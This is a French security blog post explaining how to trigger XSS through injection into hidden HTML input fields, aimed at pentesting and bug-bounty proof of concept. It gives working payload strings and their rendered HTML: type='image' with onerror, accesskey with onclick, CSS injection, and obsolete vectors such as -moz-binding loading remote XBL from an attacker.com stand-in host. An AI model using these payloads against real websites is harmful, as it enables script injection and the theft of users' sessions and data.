XSS dans un champ caché (input type hidden)

16
nov.
2015
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Vulnérabilités, exploits et PoC / XSS   /   Pas de commentaire

Comment exécuter du JavaScript via une injection XSS dans un champ input type text hidden ?

Il arrive souvent de déceler une injection au sein d’un site web, d’une application web ou d’un CMS qui porte sur un champ de formulaire caché. Lorsque les caractères « < » et « > » sont filtrés, il n’est donc pas possible de sortir de la balise « input type text hidden » afin d’injecter un payload d’XSS standard.

Cet article traite des injections dans les champs cachés, et des méthodes passées et présentes pour exécuter du JavaScript tout de même sur de tels inputs.

Les champs input cachés et attributs

Syntaxe de l’injection

Les champs cachés servent généralement à faire transiter des données techniques au sein des formulaires, tels des jetons/tokens, identifiants de session, timestamp ou captcha.

Ces champs HTML respectent la syntaxe suivante, où l’injection XSS est généralement présente sur l’attribut « value » :

<input type="hidden" name="myFieldName" id="myFieldId" value="[INJECTION_HERE]" />

Ces champs étant par définition cachés (type=hidden), ils sont donc invisibles sur la page web en question. Les styles visuels (ajouter une bordure de couleur, un background-color, etc.) ne sont donc pas efficaces.

Si les caractères quote ou double-quote « , < et > ne sont pas filtrés, il est aisé d’exploiter l’XSS avec un payload de la sorte :

" /><script>alert(/XSS/);</script><input type="hidden" value="

Ce qui, une fois injecté, se traduit par le rendu syntaxiquement valide suivant :

<input type="hidden" name="myFieldName" id="myFieldId" value="" /><script>alert(/XSS/);</script><input type="hidden" value="" />

Dans notre cas, considérons que les caractères « < » et « > » sont filtrés, empêchant donc de nous échapper de la définition de la balise input. Seuls de nouveaux attributs peuvent être définis via un vecteur tel que :

<>" customAttr1="customVal1" customAttr2="customVal2

Rendu de l’injection :

<input type="hidden" name="myFieldName" id="myFieldId" value="&lt;&gt;" customAttr1="customVal1" customAttr2="customVal2" />

Événements des balises inputs

Les balises « input » des formulaires HTML disposent de nombreux évènements exploitables pour des injections de code JavaScript au travers des XSS :

Or, dans le cas d’inputs cachés (type=hidden), il n’est pas possible de les survoler avec la souris, d’y placer le focus, de les sélectionner, d’y inscrire des caractères, etc. L’ensemble des événements ci-dessus ne sont donc pas exploitables, seuls, pour permettre l’exécution de code JavaScript arbitraire via l’injection.

La norme HTML5 intègre de nouveaux événements. Notamment l’événement « onformchange » destiné à être placé sur une balise « <form> ». Dès qu’un changement est opéré sur le formulaire (ou sur l’un des champs le composant), alors l’événement est déclenché.

Le navigateur Opera semblait autoriser cet événement sur les balises inputs en elles-mêmes. Ainsi, il était possible de définir arbitrairement cet évènement sur une balise cachée, et dès qu’un des champs visibles du formulaire était modifié l’événement se déclenchait.

Payload (jugé obsolète de nos jours) :

" onformchange='alert(1337)'

Injection finale :

<input type="hidden" name="myFieldName" id="myFieldId" value="" onformchange='alert(1337)'" />

Typage en image

L’attribut « type » d’une balise input peut prendre bon nombre de valeurs. Un de ces types est particulièrement intéressant pour injecter du code JavaScript. C’est le type « image ».

En effet, il est possible de créer un champ input type « image », et par conséquent de disposer des attributs standards d’une balise image, notamment « src » et l’événement « onerror ».

Il est possible d’injecter plusieurs attributs « type » pour une même balise input. La première valeur « type » rencontré par l’interpréteur/parseur sera celle dominante, les suivantes n’auront pas d’effet. Ainsi, si l’attribut « type=hidden » est défini en fin de balise et qu’il est possible d’ajouter des attributs avant celui-ci, alors l’injection XSS est réalisable.

Exemple de vecteur :

" type="image" src="x" onerror="alert(/XSS/)

Injection fonctionnelle (testé sur Chrome 46) :

<input name="myFieldName" id="myFieldId" value="" type="image" src="x" onerror="alert(/XSS/)" type="hidden" />

Injection non-fonctionnelle :

<input type="hidden" name="myFieldName" id="myFieldId" value="" type="image" src="x" onerror="alert(/XSS/)" />

Evénement onclick et accesskey

Ces derniers jours, Gareth Heyes sur le blog de PortSwigger a présenté une nouvelle technique permettant l’exécution de code JavaScript sur des balises inputs cachées. L’idée est d’employer l’évènement « onclick » (non-déclenchable par la souris puisque la balise est invisible) mais via un autre attribut de la norme HTML5 : « accesskey ».

Cet attribut « accesskey » permet de définir une combinaison de touche précise permettant de mettre le focus tel un clic sur le champ input en question.

Exemple de vecteur d’attaque fonctionnel (Chrome 46) :

" accesskey="X" onclick="alert(/XSS/)

Injection :

<input type="hidden" name="myFieldName" id="myFieldId" value="" accesskey="X" onclick="alert(/XSS/)" />

En pressant la combinaison de touche ALT+SHIFT+X sur PC/Linux ou CTRL+ALT+X sur OSX, l’événement est déclenché.

Certes ce vecteur XSS implique une interraction relativement « exotique » de la victime vis-à-vis de son clavier. Toutefois, cela reste un vecteur d’attaque viable. De plus, il est possible que l’attaquant détourne le DOM de la page pour inciter la victime à réaliser cette combinaison de touche (Social-Engineering / fake easter-egg).

CSS Injection et balise « style »

Principe d’une CSS injection

Une CSS injection consiste à injecter du code CSS arbitraire dans le corps d’une page vulnérable (DOM). L’injection de code CSS ne peut impacter que le « visuel » de l’élément sur la page. Toutefois, il existe certaines techniques (à présent passées, obsolètes et non-fonctionnelles) permettant d’engendrer de l’exécution de code JavaScript.

Une CSS injection pouvait donc mener à une véritable XSS, et nous ne sommes pas à l’abris qu’un futur vecteur d’attaque soit découvert pour remettre au goût du jour l’exécution de JavaScript au travers de CSS.

La plupart des sites web de renoms, proposant notamment des Bug Bounty, en sont bien conscients. C’est pourquoi ils acceptent de tels vecteurs d’attaques et les corrigent très rapidement (voir l’article [Contribution] eBay : CSS injection & XSS potentielle ou encore CheckPoint : RXSS et injection en paramètre de fonction JS).

Une CSS injection part du principe que l’on puisse définir l’attribut « style » sur une balise vulnérable, et y injecter un style CSS arbitraire :

" style="background-image:url('http://www.asafety.fr/images/logo.png')

Rendu de l’injection syntaxiquement valide :

<input type="hidden" name="myFieldName" id="myFieldId" value="" style="background-image:url('http://www.asafety.fr/images/logo.png')" />

Bien que le champ input soit caché, le CSS injecté à la volée est tout de même interprété. Autrement dit, dans l’exemple précédent, le logo.png est chargé dans le contexte de navigation. L’article sur la contribution d’eBay illustre ce cas :

eBay CSS injection PoC

eBay CSS injection PoC

Le CSS étant donc convenablement injecté au sein du DOM, parcourons les méthodes qui existent / ont existé pour exécuter du JavaScript via du CSS.

-moz-binding

La propriété CSS « -moz-binding », propre aux navigateurs de Mozilla (donc incompatible avec IE / Chrome), permet d’attacher une liaison XBL à un élément du DOM, via une URL pointant sur une ressource distante.

Cette propriété permet de charger du JavaScript via cette liaison XBL.

Pour cela, l’attaquant place un fichier « xbl.xml » sur un serveur qu’il contrôle (exemple canonique ici), avec un code équivalent à :

<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>alert("XSS");</constructor>
</implementation>
</binding>
</bindings>

Il peut par la suite faire appel à cette liaison XBL au sein de l’attribut « style » (technique jugée obsolète de nos jours) :

" style="-moz-binding:url('http://www.attacker.com/xbl.xml%23xss')

Ce qui se traduit en :

<input type="hidden" name="myFieldName" id="myFieldId" value="" style="-moz-binding:url('http://www.attacker.com/xbl.xml%23xss')" />

Note : l’ancre « %23xss » finale est nécessaire pour trigger le « binding id=’xss' » de la liaison XBL.

expression()

Les expressions CSS aussi appelées « propriétés dynamiques » sont des propriétés CSS spécifiques aux navigateurs de Microsoft. Par l’intermédiaire de la « fonction » expression() en CSS, il est (était) possible d’appliquer des traitements dynamiques sur le style ; comme calculer la taille d’un élément par rapport à un autre, etc.

Via expression(), des injections XSS étaient possibles en formalisant un appel de fonction (obsolète de nos jours) :

" style="behaviour:expression(function{}{ alert(/XSS/) }(this)}

Ce qui se traduit par :

<input type="hidden" name="myFieldName" id="myFieldId" value="" style="behaviour:expression(function{}{ alert(/XSS/) }(this)}" />

Ce vecteur d’attaque d’XSS via du CSS n’était compatible qu’avec IE, et ce jusqu’à la version 7 du navigateur.

URL javascript:

La syntaxe classique « javascript:alert(1337); » a fait des ravages dans le milieu, notamment au travers de toutes les propriétés CSS permettant de charger du contenu distant.

A présent protégé, ce vecteur n’est plus fonctionnel pour la plupart des navigateurs actuels.

" style="background-image='javascript:alert(/XSS/)'

Ce qui se traduisait par :

<input type="hidden" name="myFieldName" id="myFieldId" value="" style="background-image='javascript:alert(/XSS/)'" />

De nombreuses propriétés CSS étaient vulnérables, notamment celles acceptant des « url(javascript:) ».

Forcer l’affichage d’une balise cachée

Cette technique est à présent obsolète et ne fonctionne plus que sur d’anciennes versions de navigateurs, notamment Firefox.

L’idée était de forcer l’affichage / dimensionnement d’une balise input pourtant « hidden », pour que des événements soient triggered au moment du passage de la souris.

Injection d’un style permettant de rendre visible le champ caché, et ajout de l’évènement « au survol de la souris ». Technique à présent obsolète :

" style="display:block; width:500px; height:500px;" onmouseover="javascript:alert(/XSS/)

Rendu :

<input type="hidden" name="myFieldName" id="myFieldId" value="" style="display:block; width:500px; height:500px;" onmouseover="javascript:alert(/XSS/)" />

Synthèse et conclusion

Les injections au niveau des champs cachés de formulaire (input type hidden) peuvent s’avérer compliquées à illustrer. L’exécution de code JavaScript exploite des faiblesses au niveau des interpréteurs / parseurs des navigateurs qui sont pour la plupart protégés de nos jours, ou en voie d’être corrigés.

Toutefois, il est possible de participer à des Bug Bounty en formalisant un vecteur de « CSS Injection » classique (chargement d’une image distante dans le DOM par exemple). Il est probable que de nouveaux vecteurs d’exploitations CSS vers XSS apparaissent à l’avenir. Les sites de renoms en ont conscience.

A l’heure d’aujourd’hui, les techniques fonctionnelles permettant d’illustrer vos PoC XSS dans des champs cachés sont :

  • La redéfinition du type en tant qu’image de la balise input, si le type « hidden » est déclaré après. Ceci à pour effet de déclencher une XSS sans aucune interaction de l’utilisateur (XSS les plus critiques).
  • L’utilisation conjointe de l’événement « onclick » et « accesskey » couplé à du Social-Engineering pour que la victime presse une certaine combinaison de touche (compliqué à mettre en oeuvre).
  • Ou encore viser des navigateurs obsolètes, non-patchés, encore vulnérables à la plupart des techniques historiques présentées dans cet article.

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.